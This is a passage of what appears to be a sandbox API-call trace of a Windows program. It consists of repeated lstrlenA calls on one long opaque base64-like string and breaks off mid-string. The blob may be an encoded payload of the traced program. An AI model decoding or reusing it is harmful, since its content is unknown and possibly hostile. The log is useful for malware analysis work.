QHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.809] lstrlenA (lpString="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") returned 5792 [0163.809] lstrlenA (lpString="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") returned 5792 [0163.809] lstrlenA (lpString="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